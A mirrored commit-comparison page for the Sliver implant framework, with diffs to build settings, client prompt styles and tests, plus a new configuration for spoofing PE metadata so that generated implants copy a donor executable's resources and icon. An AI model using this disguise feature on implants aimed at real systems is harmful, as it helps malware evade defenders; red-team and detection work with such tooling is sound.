mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
103
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
82d979436b | ||
|
|
d2632e75bd | ||
|
|
a55831fb44 | ||
|
|
39d4edec43 | ||
|
|
bbdb08e7a4 | ||
|
|
39b488bd25 | ||
|
|
e7b8a24534 | ||
|
|
17b9d611f8 | ||
|
|
ed9075d065 | ||
|
|
1f7221933d | ||
|
|
6333e0691a | ||
|
|
3bbaf80510 | ||
|
|
25726d8105 | ||
|
|
67e9a7f37f | ||
|
|
a5b6935da6 | ||
|
|
2e36f45bdf | ||
|
|
3e06a9d5ee | ||
|
|
952b2df49d | ||
|
|
9769f1bb57 | ||
|
|
f5f2c80ad3 | ||
|
|
bb2edf63cf | ||
|
|
cd711afe8a | ||
|
|
f9bbbb34bb | ||
|
|
64b91c56c0 | ||
|
|
a6c7867a26 | ||
|
|
7f25c3bb06 | ||
|
|
153cf29551 | ||
|
|
b85161e797 | ||
|
|
ed906fcffe | ||
|
|
3bbcf5697a | ||
|
|
4a425d2fd6 | ||
|
|
d0f752e118 | ||
|
|
7167621577 | ||
|
|
c3582fc203 | ||
|
|
07c95b203f | ||
|
|
958e44deef | ||
|
|
836395a2d6 | ||
|
|
1a7a1c9b2d | ||
|
|
4ba285796f | ||
|
|
a05dfad100 | ||
|
|
0eb29ad9b8 | ||
|
|
ad8b329f85 | ||
|
|
c6206257b6 | ||
|
|
8bbf06c156 | ||
|
|
4d4eab998f | ||
|
|
c081f17380 | ||
|
|
fafbac3fa6 | ||
|
|
d9c89c81cf | ||
|
|
061221905b | ||
|
|
d0600e2be7 | ||
|
|
26abbe3860 | ||
|
|
55a386ae1c | ||
|
|
2bfdb218ff | ||
|
|
715b84e799 | ||
|
|
faea2ff639 | ||
|
|
1b253f8dec | ||
|
|
eb38724322 | ||
|
|
05dedf4473 | ||
|
|
28c6b82a79 | ||
|
|
1f553496e3 | ||
|
|
cd5db464e0 | ||
|
|
0bf0ac6c7b | ||
|
|
0cf5a47cfd | ||
|
|
8d6759924b | ||
|
|
8d5dbd2050 | ||
|
|
804e149113 | ||
|
|
9ced4cfd50 | ||
|
|
c8be5a5b1b | ||
|
|
b7abf98c95 | ||
|
|
918ac1bb91 | ||
|
|
1e57818312 | ||
|
|
c44c14dd46 | ||
|
|
35f41cd62d | ||
|
|
4eff1cc053 | ||
|
|
16981da431 | ||
|
|
3830c76292 | ||
|
|
73de93d6fb | ||
|
|
c7770c2f6e | ||
|
|
21db908ce4 | ||
|
|
b7b0247652 | ||
|
|
3dc7dc03d0 | ||
|
|
229452d7ed | ||
|
|
d29ce9a08b | ||
|
|
46f2b2b402 | ||
|
|
6ee2006387 | ||
|
|
2fd13ee2bc | ||
|
|
2697568336 | ||
|
|
5013048b0b | ||
|
|
627b15572c | ||
|
|
42c40c9b8d | ||
|
|
405b282fed | ||
|
|
e32cd36e01 | ||
|
|
492a2aeed6 | ||
|
|
d6dafb0391 | ||
|
|
49a1bcfd7d | ||
|
|
a8d1bf6fb1 | ||
|
|
2f386b7e09 | ||
|
|
d7dce58397 | ||
|
|
15114138a8 | ||
|
|
2716090410 | ||
|
|
a805161245 | ||
|
|
afd57891cd | ||
|
|
bdf4a6ed0d |
No files matched your search
@@ -1,41 +1,18 @@
|
|||||||
# Repository Guidelines
|
# Repository Guidelines
|
||||||
|
|
||||||
## Project Structure & Module Organization
|
|
||||||
- `client/` holds the CLI client and interactive commands.
|
|
||||||
- `server/` contains the server runtime, C2 logic, configs, and web assets.
|
|
||||||
- `implant/` is the implant runtime and transport implementations.
|
|
||||||
- `protobuf/` stores protobuf definitions and generated Go types.
|
|
||||||
- `util/` is shared helpers (crypto, encoders, minisign, etc.).
|
|
||||||
- `docs/sliver-docs/` is the Next.js documentation site and prebuild scripts.
|
|
||||||
- `vendor/` is the vendored Go dependency tree used by builds.
|
|
||||||
- Build outputs land in the repo root as `sliver-client*` and `sliver-server*`.
|
|
||||||
|
|
||||||
## Build, Test, and Development Commands
|
## Build, Test, and Development Commands
|
||||||
- `make` builds server + client using vendored modules and runs `go-assets.sh`.
|
- `make` builds server + client using vendored modules and runs `go-assets.sh`.
|
||||||
- `make client` builds a CGO-free client; `make debug` keeps symbols.
|
- `make client` builds a CGO-free client; `make debug` keeps symbols.
|
||||||
- `make pb` regenerates protobuf stubs from `protobuf/`.
|
- `make pb` regenerates protobuf stubs from `protobuf/`.
|
||||||
- `./go-tests.sh` runs the curated Go test suite with build tags.
|
- `./go-tests.sh` runs the curated Go test suite with build tags.
|
||||||
- Docs site: `cd docs/sliver-docs && npm install && npm run dev` for local dev; `npm run build` for a static build.
|
- Docs site: `cd docs/sliver-docs && npm install && npm run dev` for local dev; `npm run build` for a static build.
|
||||||
- Go toolchain: the Makefile enforces Go >= 1.24.
|
|
||||||
|
|
||||||
## Coding Style & Naming Conventions
|
## Coding Style & Naming Conventions
|
||||||
- Run `gofmt` on all Go code; keep package names lowercase and idiomatic.
|
- Run `gofmt` on all Go code; keep package names lowercase and idiomatic.
|
||||||
- Avoid `CGO` and empty interfaces; prefer explicit types and interfaces.
|
- Avoid `CGO` and empty interfaces; prefer explicit types and interfaces.
|
||||||
- Do not import `server` packages from `client`.
|
- Do not import `server` packages from `client`.
|
||||||
- If `math/rand` is required, import it as `insecureRand` and avoid security use.
|
|
||||||
|
|
||||||
## Testing Guidelines
|
## Testing Guidelines
|
||||||
- Go tests follow standard `_test.go` naming within each package.
|
|
||||||
- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .`
|
- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .`
|
||||||
- Add or update tests when behavior changes; some server packages run longer tests.
|
- Add or update tests when behavior changes; some server packages run longer tests.
|
||||||
|
|
||||||
## Commit & Pull Request Guidelines
|
|
||||||
- Commits must be signed for PRs to `master`; work in a feature branch.
|
|
||||||
- Commit subjects are short and imperative (e.g., "Fix ...", "Add ...", "Update ...", "Bump ...").
|
|
||||||
- Changes to `vendor/` should be in a distinct commit.
|
|
||||||
- PRs should link the tracking issue, note tests run, and confirm `gofmt` plus unit tests as applicable.
|
|
||||||
|
|
||||||
## Security Notes
|
|
||||||
- Default to secure configuration; fail closed rather than open.
|
|
||||||
- Avoid insecure algorithms (MD5/SHA1/AES-ECB); prefer AES-GCM and modern curves.
|
|
||||||
- Treat user input as untrusted: canonicalize paths and use restrictive file permissions.
|
|
||||||
@@ -26,7 +26,7 @@ K := $(foreach exec,$(EXECUTABLES),\
|
|||||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||||
MIN_SUPPORTED_GO_MINOR_VERSION = 24
|
MIN_SUPPORTED_GO_MINOR_VERSION = 25
|
||||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||||
|
|
||||||
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
|
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
|
||||||
|
|||||||
@@ -6,6 +6,8 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
|||||||
|
|
||||||
[](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
[](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||||
|
|
||||||
|
Visit [https://sliver.sh/](https://sliver.sh/) for tutorials and documentation.
|
||||||
|
|
||||||
### Features
|
### Features
|
||||||
|
|
||||||
- Dynamic code generation
|
- Dynamic code generation
|
||||||
|
|||||||
@@ -124,4 +124,5 @@ under certain conditions; type 'licenses' for details.`)
|
|||||||
saveAssetVersion(appDir)
|
saveAssetVersion(appDir)
|
||||||
}
|
}
|
||||||
_, _ = LoadSettings()
|
_, _ = LoadSettings()
|
||||||
|
_, _ = LoadSpoofMetadataConfig()
|
||||||
}
|
}
|
||||||
@@ -22,6 +22,7 @@ import (
|
|||||||
"encoding/json"
|
"encoding/json"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
"gopkg.in/yaml.v3"
|
"gopkg.in/yaml.v3"
|
||||||
)
|
)
|
||||||
@@ -31,6 +32,18 @@ const (
|
|||||||
settingsLegacyFileName = "tui-settings.json"
|
settingsLegacyFileName = "tui-settings.json"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
// Accepted values for tui-settings.yaml "prompt:":
|
||||||
|
// - host: show "[host]" prefix on sliver-client, "[server]" on server console
|
||||||
|
// - operator-host: show "[operator@host]" prefix on sliver-client, "[server]" on server console
|
||||||
|
// - basic: show "sliver >" (no prefix)
|
||||||
|
// - custom: render full prompt from prompt_template
|
||||||
|
PromptStyleHost = "host"
|
||||||
|
PromptStyleOperatorHost = "operator-host"
|
||||||
|
PromptStyleBasic = "basic"
|
||||||
|
PromptStyleCustom = "custom"
|
||||||
|
)
|
||||||
|
|
||||||
// ClientSettings - Client JSON config
|
// ClientSettings - Client JSON config
|
||||||
type ClientSettings struct {
|
type ClientSettings struct {
|
||||||
TableStyle string `json:"tables" yaml:"tables"`
|
TableStyle string `json:"tables" yaml:"tables"`
|
||||||
@@ -41,6 +54,8 @@ type ClientSettings struct {
|
|||||||
VimMode bool `json:"vim_mode" yaml:"vim_mode"`
|
VimMode bool `json:"vim_mode" yaml:"vim_mode"`
|
||||||
UserConnect bool `json:"user_connect" yaml:"user_connect"`
|
UserConnect bool `json:"user_connect" yaml:"user_connect"`
|
||||||
ConsoleLogs bool `json:"console_logs" yaml:"console_logs"`
|
ConsoleLogs bool `json:"console_logs" yaml:"console_logs"`
|
||||||
|
PromptStyle string `json:"prompt" yaml:"prompt"`
|
||||||
|
PromptTemplate string `json:"prompt_template" yaml:"prompt_template"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// LoadSettings - Load the client settings from disk
|
// LoadSettings - Load the client settings from disk
|
||||||
@@ -67,6 +82,8 @@ func LoadSettings() (*ClientSettings, error) {
|
|||||||
return defaultSettings(), err
|
return defaultSettings(), err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Ensure any missing/unknown values are coerced to a supported prompt style.
|
||||||
|
settings.PromptStyle = NormalizePromptStyle(settings.PromptStyle)
|
||||||
if err := SaveSettings(settings); err != nil {
|
if err := SaveSettings(settings); err != nil {
|
||||||
return settings, err
|
return settings, err
|
||||||
}
|
}
|
||||||
@@ -78,6 +95,38 @@ func LoadSettings() (*ClientSettings, error) {
|
|||||||
return settings, nil
|
return settings, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// NormalizePromptStyle canonicalizes prompt style strings and returns a safe
|
||||||
|
// default if the value is empty/unknown.
|
||||||
|
func NormalizePromptStyle(v string) string {
|
||||||
|
switch strings.ToLower(strings.TrimSpace(v)) {
|
||||||
|
case PromptStyleOperatorHost:
|
||||||
|
return PromptStyleOperatorHost
|
||||||
|
case PromptStyleHost:
|
||||||
|
return PromptStyleHost
|
||||||
|
case PromptStyleBasic:
|
||||||
|
return PromptStyleBasic
|
||||||
|
case PromptStyleCustom:
|
||||||
|
return PromptStyleCustom
|
||||||
|
|
||||||
|
// Backward compatible aliases.
|
||||||
|
case "show host":
|
||||||
|
return PromptStyleHost
|
||||||
|
case "show user and host":
|
||||||
|
return PromptStyleOperatorHost
|
||||||
|
case "show operator and host":
|
||||||
|
return PromptStyleOperatorHost
|
||||||
|
case "operator@host":
|
||||||
|
return PromptStyleOperatorHost
|
||||||
|
case "user@host":
|
||||||
|
return PromptStyleOperatorHost
|
||||||
|
|
||||||
|
case "":
|
||||||
|
return PromptStyleHost
|
||||||
|
default:
|
||||||
|
return PromptStyleHost
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func defaultSettings() *ClientSettings {
|
func defaultSettings() *ClientSettings {
|
||||||
return &ClientSettings{
|
return &ClientSettings{
|
||||||
TableStyle: "SliverDefault",
|
TableStyle: "SliverDefault",
|
||||||
@@ -87,9 +136,13 @@ func defaultSettings() *ClientSettings {
|
|||||||
AlwaysOverflow: false,
|
AlwaysOverflow: false,
|
||||||
VimMode: false,
|
VimMode: false,
|
||||||
ConsoleLogs: true,
|
ConsoleLogs: true,
|
||||||
|
PromptStyle: PromptStyleHost,
|
||||||
|
PromptTemplate: DefaultPromptTemplate,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const DefaultPromptTemplate = `{{- if .IsServer -}}{{ .Styles.Bold.Render "[server]" }} {{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} > {{- else -}}{{- if .Host -}}{{ .Styles.BoldPrimary.Render (printf "[%s]" .Host) }} {{- end -}}{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} > {{- end -}}`
|
||||||
|
|
||||||
// SaveSettings - Save the current settings to disk
|
// SaveSettings - Save the current settings to disk
|
||||||
func SaveSettings(settings *ClientSettings) error {
|
func SaveSettings(settings *ClientSettings) error {
|
||||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||||
|
|||||||
@@ -21,6 +21,8 @@ always_overflow: true
|
|||||||
vim_mode: true
|
vim_mode: true
|
||||||
user_connect: true
|
user_connect: true
|
||||||
console_logs: false
|
console_logs: false
|
||||||
|
prompt: "basic"
|
||||||
|
prompt_template: "{{.Host}}"
|
||||||
`)
|
`)
|
||||||
if err := os.WriteFile(settingsPath, data, 0o600); err != nil {
|
if err := os.WriteFile(settingsPath, data, 0o600); err != nil {
|
||||||
t.Fatalf("failed to write yaml settings: %v", err)
|
t.Fatalf("failed to write yaml settings: %v", err)
|
||||||
@@ -54,6 +56,12 @@ console_logs: false
|
|||||||
if settings.ConsoleLogs {
|
if settings.ConsoleLogs {
|
||||||
t.Fatalf("expected ConsoleLogs false")
|
t.Fatalf("expected ConsoleLogs false")
|
||||||
}
|
}
|
||||||
|
if settings.PromptStyle != PromptStyleBasic {
|
||||||
|
t.Fatalf("expected PromptStyle %q, got %q", PromptStyleBasic, settings.PromptStyle)
|
||||||
|
}
|
||||||
|
if settings.PromptTemplate != "{{.Host}}" {
|
||||||
|
t.Fatalf("expected PromptTemplate %q, got %q", "{{.Host}}", settings.PromptTemplate)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLoadSettingsMigratesLegacyJSON(t *testing.T) {
|
func TestLoadSettingsMigratesLegacyJSON(t *testing.T) {
|
||||||
@@ -71,6 +79,8 @@ func TestLoadSettingsMigratesLegacyJSON(t *testing.T) {
|
|||||||
VimMode: true,
|
VimMode: true,
|
||||||
UserConnect: true,
|
UserConnect: true,
|
||||||
ConsoleLogs: false,
|
ConsoleLogs: false,
|
||||||
|
PromptStyle: PromptStyleOperatorHost,
|
||||||
|
PromptTemplate: "{{.Operator}}@{{.Host}} sliver > ",
|
||||||
}
|
}
|
||||||
data, err := json.MarshalIndent(legacy, "", " ")
|
data, err := json.MarshalIndent(legacy, "", " ")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -87,6 +97,12 @@ func TestLoadSettingsMigratesLegacyJSON(t *testing.T) {
|
|||||||
if settings.TableStyle != "Legacy" {
|
if settings.TableStyle != "Legacy" {
|
||||||
t.Fatalf("expected TableStyle %q, got %q", "Legacy", settings.TableStyle)
|
t.Fatalf("expected TableStyle %q, got %q", "Legacy", settings.TableStyle)
|
||||||
}
|
}
|
||||||
|
if settings.PromptStyle != PromptStyleOperatorHost {
|
||||||
|
t.Fatalf("expected PromptStyle %q, got %q", PromptStyleOperatorHost, settings.PromptStyle)
|
||||||
|
}
|
||||||
|
if settings.PromptTemplate != "{{.Operator}}@{{.Host}} sliver > " {
|
||||||
|
t.Fatalf("expected PromptTemplate %q, got %q", "{{.Operator}}@{{.Host}} sliver > ", settings.PromptTemplate)
|
||||||
|
}
|
||||||
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
|
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
|
||||||
t.Fatalf("expected yaml settings to exist: %v", err)
|
t.Fatalf("expected yaml settings to exist: %v", err)
|
||||||
}
|
}
|
||||||
@@ -108,6 +124,12 @@ func TestLoadSettingsWritesDefault(t *testing.T) {
|
|||||||
if settings.TableStyle != "SliverDefault" {
|
if settings.TableStyle != "SliverDefault" {
|
||||||
t.Fatalf("expected default TableStyle %q, got %q", "SliverDefault", settings.TableStyle)
|
t.Fatalf("expected default TableStyle %q, got %q", "SliverDefault", settings.TableStyle)
|
||||||
}
|
}
|
||||||
|
if settings.PromptStyle != PromptStyleHost {
|
||||||
|
t.Fatalf("expected default PromptStyle %q, got %q", PromptStyleHost, settings.PromptStyle)
|
||||||
|
}
|
||||||
|
if settings.PromptTemplate != DefaultPromptTemplate {
|
||||||
|
t.Fatalf("expected default PromptTemplate %q, got %q", DefaultPromptTemplate, settings.PromptTemplate)
|
||||||
|
}
|
||||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||||
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
|
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
|
||||||
t.Fatalf("expected default settings to be written: %v", err)
|
t.Fatalf("expected default settings to be written: %v", err)
|
||||||
|
|||||||
@@ -0,0 +1,216 @@
|
|||||||
|
package assets
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2026 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
|
||||||
|
"gopkg.in/yaml.v3"
|
||||||
|
)
|
||||||
|
|
||||||
|
const spoofMetadataFileName = "spoof-metadata.yaml"
|
||||||
|
|
||||||
|
const defaultSpoofMetadataConfigTemplate = `# Sliver executable metadata spoofing configuration.
|
||||||
|
# Used by generate commands when --spoof-metadata is set.
|
||||||
|
#
|
||||||
|
# Fields that reference file content support either:
|
||||||
|
# - path: read bytes from a local file path
|
||||||
|
# - base64: inline base64 file content
|
||||||
|
# Do not set both path and base64 for the same object.
|
||||||
|
#
|
||||||
|
# Example 1: Minimal path-based metadata cloning (most common)
|
||||||
|
pe:
|
||||||
|
source:
|
||||||
|
name: metadata-source.exe
|
||||||
|
path: ""
|
||||||
|
|
||||||
|
# Optional icon donor. Reserved for future standalone icon mutation support.
|
||||||
|
icon:
|
||||||
|
name: icon.ico
|
||||||
|
path: ""
|
||||||
|
|
||||||
|
# Example 2: Inline/base64 source (uncomment and remove "path" above)
|
||||||
|
# source:
|
||||||
|
# name: metadata-source.exe
|
||||||
|
# base64: "TVqQAAMAAAAEAAAA..."
|
||||||
|
|
||||||
|
# Example 3: Optional PE structure overrides (advanced)
|
||||||
|
# Applied after metadata/resources are cloned from source.
|
||||||
|
# Omitted fields keep cloned values.
|
||||||
|
# resource_directory:
|
||||||
|
# characteristics: 0
|
||||||
|
# time_date_stamp: 0
|
||||||
|
# major_version: 1
|
||||||
|
# minor_version: 0
|
||||||
|
# number_of_named_entries: 0
|
||||||
|
# number_of_id_entries: 0
|
||||||
|
#
|
||||||
|
# resource_directory_entries:
|
||||||
|
# - name: 1
|
||||||
|
# offset_to_data: 0
|
||||||
|
#
|
||||||
|
# resource_data_entries:
|
||||||
|
# - offset_to_data: 0
|
||||||
|
# size: 0
|
||||||
|
# code_page: 0
|
||||||
|
# reserved: 0
|
||||||
|
#
|
||||||
|
# export_directory:
|
||||||
|
# characteristics: 0
|
||||||
|
# time_date_stamp: 0
|
||||||
|
# major_version: 1
|
||||||
|
# minor_version: 0
|
||||||
|
# name: 0
|
||||||
|
# base: 0
|
||||||
|
# number_of_functions: 0
|
||||||
|
# number_of_names: 0
|
||||||
|
# address_of_functions: 0
|
||||||
|
# address_of_names: 0
|
||||||
|
# address_of_name_ordinals: 0
|
||||||
|
`
|
||||||
|
|
||||||
|
// SpoofMetadataConfig stores default metadata spoofing inputs for generate commands.
|
||||||
|
type SpoofMetadataConfig struct {
|
||||||
|
PE *PESpoofMetadataConfig `json:"pe,omitempty" yaml:"pe,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// PESpoofMetadataConfig stores PE-specific spoofing inputs.
|
||||||
|
type PESpoofMetadataConfig struct {
|
||||||
|
Source *SpoofMetadataDataSource `json:"source,omitempty" yaml:"source,omitempty"`
|
||||||
|
Icon *SpoofMetadataDataSource `json:"icon,omitempty" yaml:"icon,omitempty"`
|
||||||
|
|
||||||
|
ResourceDirectory *ImageResourceDirectory `json:"resource_directory,omitempty" yaml:"resource_directory,omitempty"`
|
||||||
|
ResourceDirectoryEntries []*ImageResourceDirectoryEntry `json:"resource_directory_entries,omitempty" yaml:"resource_directory_entries,omitempty"`
|
||||||
|
ResourceDataEntries []*ImageResourceDataEntry `json:"resource_data_entries,omitempty" yaml:"resource_data_entries,omitempty"`
|
||||||
|
ExportDirectory *ImageExportDirectory `json:"export_directory,omitempty" yaml:"export_directory,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// SpoofMetadataDataSource points to bytes that should be sent to the server.
|
||||||
|
// Either Path or Base64 may be set.
|
||||||
|
type SpoofMetadataDataSource struct {
|
||||||
|
Name string `json:"name,omitempty" yaml:"name,omitempty"`
|
||||||
|
Path string `json:"path,omitempty" yaml:"path,omitempty"`
|
||||||
|
Base64 string `json:"base64,omitempty" yaml:"base64,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ImageResourceDirectory struct {
|
||||||
|
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
|
||||||
|
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
|
||||||
|
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
|
||||||
|
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
|
||||||
|
NumberOfNamedEntries uint32 `json:"number_of_named_entries,omitempty" yaml:"number_of_named_entries,omitempty"`
|
||||||
|
NumberOfIDEntries uint32 `json:"number_of_id_entries,omitempty" yaml:"number_of_id_entries,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ImageResourceDirectoryEntry struct {
|
||||||
|
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
|
||||||
|
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ImageResourceDataEntry struct {
|
||||||
|
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
|
||||||
|
Size uint32 `json:"size,omitempty" yaml:"size,omitempty"`
|
||||||
|
CodePage uint32 `json:"code_page,omitempty" yaml:"code_page,omitempty"`
|
||||||
|
Reserved uint32 `json:"reserved,omitempty" yaml:"reserved,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ImageExportDirectory struct {
|
||||||
|
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
|
||||||
|
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
|
||||||
|
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
|
||||||
|
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
|
||||||
|
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
|
||||||
|
Base uint32 `json:"base,omitempty" yaml:"base,omitempty"`
|
||||||
|
NumberOfFunctions uint32 `json:"number_of_functions,omitempty" yaml:"number_of_functions,omitempty"`
|
||||||
|
NumberOfNames uint32 `json:"number_of_names,omitempty" yaml:"number_of_names,omitempty"`
|
||||||
|
AddressOfFunctions uint32 `json:"address_of_functions,omitempty" yaml:"address_of_functions,omitempty"`
|
||||||
|
AddressOfNames uint32 `json:"address_of_names,omitempty" yaml:"address_of_names,omitempty"`
|
||||||
|
AddressOfNameOrdinals uint32 `json:"address_of_name_ordinals,omitempty" yaml:"address_of_name_ordinals,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// SpoofMetadataConfigPath returns the spoof metadata config file path.
|
||||||
|
func SpoofMetadataConfigPath() string {
|
||||||
|
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||||
|
return filepath.Join(rootDir, spoofMetadataFileName)
|
||||||
|
}
|
||||||
|
|
||||||
|
// LoadSpoofMetadataConfig loads spoof metadata config from disk, writing defaults
|
||||||
|
// if the file is missing.
|
||||||
|
func LoadSpoofMetadataConfig() (*SpoofMetadataConfig, error) {
|
||||||
|
config := defaultSpoofMetadataConfig()
|
||||||
|
configPath := SpoofMetadataConfigPath()
|
||||||
|
|
||||||
|
data, err := os.ReadFile(configPath)
|
||||||
|
if err != nil {
|
||||||
|
if !os.IsNotExist(err) {
|
||||||
|
return defaultSpoofMetadataConfig(), err
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(configPath, []byte(defaultSpoofMetadataConfigTemplate), 0o600); err != nil {
|
||||||
|
return defaultSpoofMetadataConfig(), err
|
||||||
|
}
|
||||||
|
data = []byte(defaultSpoofMetadataConfigTemplate)
|
||||||
|
}
|
||||||
|
if err := yaml.Unmarshal(data, config); err != nil {
|
||||||
|
return defaultSpoofMetadataConfig(), err
|
||||||
|
}
|
||||||
|
|
||||||
|
normalizeSpoofMetadataConfig(config)
|
||||||
|
return config, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// SaveSpoofMetadataConfig writes spoof metadata config to disk.
|
||||||
|
func SaveSpoofMetadataConfig(config *SpoofMetadataConfig) error {
|
||||||
|
if config == nil {
|
||||||
|
config = defaultSpoofMetadataConfig()
|
||||||
|
}
|
||||||
|
normalizeSpoofMetadataConfig(config)
|
||||||
|
data, err := yaml.Marshal(config)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return os.WriteFile(SpoofMetadataConfigPath(), data, 0o600)
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeSpoofMetadataConfig(config *SpoofMetadataConfig) {
|
||||||
|
if config.PE == nil {
|
||||||
|
config.PE = &PESpoofMetadataConfig{}
|
||||||
|
}
|
||||||
|
if config.PE.Source == nil {
|
||||||
|
config.PE.Source = &SpoofMetadataDataSource{Name: "metadata-source.exe"}
|
||||||
|
}
|
||||||
|
if config.PE.Icon == nil {
|
||||||
|
config.PE.Icon = &SpoofMetadataDataSource{Name: "icon.ico"}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func defaultSpoofMetadataConfig() *SpoofMetadataConfig {
|
||||||
|
return &SpoofMetadataConfig{
|
||||||
|
PE: &PESpoofMetadataConfig{
|
||||||
|
Source: &SpoofMetadataDataSource{
|
||||||
|
Name: "metadata-source.exe",
|
||||||
|
Path: "",
|
||||||
|
},
|
||||||
|
Icon: &SpoofMetadataDataSource{
|
||||||
|
Name: "icon.ico",
|
||||||
|
Path: "",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -26,16 +26,16 @@ import (
|
|||||||
"github.com/bishopfox/sliver/client/forms"
|
"github.com/bishopfox/sliver/client/forms"
|
||||||
)
|
)
|
||||||
|
|
||||||
func selectConfig() *assets.ClientConfig {
|
func selectConfig() (string, *assets.ClientConfig) {
|
||||||
configs := assets.GetConfigs()
|
configs := assets.GetConfigs()
|
||||||
|
|
||||||
if len(configs) == 0 {
|
if len(configs) == 0 {
|
||||||
return nil
|
return "", nil
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(configs) == 1 {
|
if len(configs) == 1 {
|
||||||
for _, config := range configs {
|
for key, config := range configs {
|
||||||
return config
|
return key, config
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -49,8 +49,8 @@ func selectConfig() *assets.ClientConfig {
|
|||||||
